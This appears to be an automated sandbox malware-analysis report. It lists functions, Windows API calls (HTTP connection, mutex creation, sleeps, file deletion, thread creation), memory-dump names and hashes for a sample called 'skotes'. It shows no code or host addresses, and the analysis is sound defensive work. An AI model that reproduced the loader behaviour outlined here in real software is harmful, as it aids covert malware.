Function 0017E62D Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 322sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00187A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00187AF8
Part of subcall function 00187A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00187B01

Part of subcall function 0017BE30: Sleep.KERNEL32(000005DC,5D7CF112,?,00000000), ref: 0017BEB8
Part of subcall function 0017BE30: InternetOpenW.WININET(001C8DC8,00000000,00000000,00000000,00000000), ref: 0017BEC8
Part of subcall function 0017BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0017BEEC
Part of subcall function 0017BE30: HttpOpenRequestA.WININET(?,00000000), ref: 0017BF35

Sleep.KERNEL32(00001388), ref: 0017E84E

Strings

MGE+, xrefs: 0017E821

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpenSleep$Cnd_destroy_in_situConnectHttpMtx_destroy_in_situRequest
String ID: MGE+
API String ID: 2868416192-475891385
Opcode ID: 84ffff5e55933131328bfc1c6d71ad4c42923851672a57be368644c57f3d905d
Instruction ID: 13fc50e326d2dbfa949ea3b44c0dc070a46bb6d2cf394106e5ce20e6341c75c7
Opcode Fuzzy Hash: 84ffff5e55933131328bfc1c6d71ad4c42923851672a57be368644c57f3d905d
Instruction Fuzzy Hash: 72B11971A102488BEF1CDB28CD997ADBBF2AF95304F64C58CF4589B3D6D7358A808B51

Function 001A6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2edaed3e7c8607a5f60716037e734058a2275ac52e2c8bf0b6dbed8b3c1a27c7
Instruction ID: c0f7adb44cfcec58b703c5cd1444c44ab775ba8b80c5131bfaec1db6f856554c
Opcode Fuzzy Hash: 2edaed3e7c8607a5f60716037e734058a2275ac52e2c8bf0b6dbed8b3c1a27c7
Instruction Fuzzy Hash: 5821F57A904208BFEB11BB78EC42BAF3729DF43374F280215F9242B1D1DB709E0196A1

Function 0017A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fdfd466804a39e1f2c8ee9d0308016a93b4999d9f013b92645200010bf1e3c96
Instruction ID: a07d1178d1a401a0f9fde1694aa8c6a60723f0b183225bee0318e03bddacf71a
Opcode Fuzzy Hash: fdfd466804a39e1f2c8ee9d0308016a93b4999d9f013b92645200010bf1e3c96
Instruction Fuzzy Hash: 2AE0862279A30495FA1032E8B86DB6D6264CBE6700F610425E718CA1D0C7609681C523

Function 001AB655 Relevance: 3.0, APIs: 2, Instructions: 19fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(001A6A97,?,001A6A97,?,?,?,00000010), ref: 001AB65D
__dosmaperr.LIBCMT ref: 001AB66E

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteFile__dosmaperr
String ID:
API String ID: 1911827773-0
Opcode ID: ebe4e2d989de97076ef8b2d12cd8e3f638bacc19632b3631edd2fc483c3830b6
Instruction ID: c36a9846f8e357e5ba6e1187c98d1568e9d9b27b89399e90d632011da209e332
Opcode Fuzzy Hash: ebe4e2d989de97076ef8b2d12cd8e3f638bacc19632b3631edd2fc483c3830b6
Instruction Fuzzy Hash: 16D0127229A508369A2035F57C5849B368D9B927747241A11B86C851D1EF22C9518052

Function 00186D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00186D11
Sleep.KERNEL32(00007530), ref: 00186D25

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: c8840bade05d1045bb5dd478fe333e3d5945551c14cb8d138fa5706751cc40b8
Instruction ID: 9177263a6308d26dd86dd46f111aae422301418640b7d89f8ff5f7efe92ff940
Opcode Fuzzy Hash: c8840bade05d1045bb5dd478fe333e3d5945551c14cb8d138fa5706751cc40b8
Instruction Fuzzy Hash: 0CD08C307C4314F6F12023602C0BF66AE109B0EF51F26084073483F0D083E432004B98

Function 00178380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00178524

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
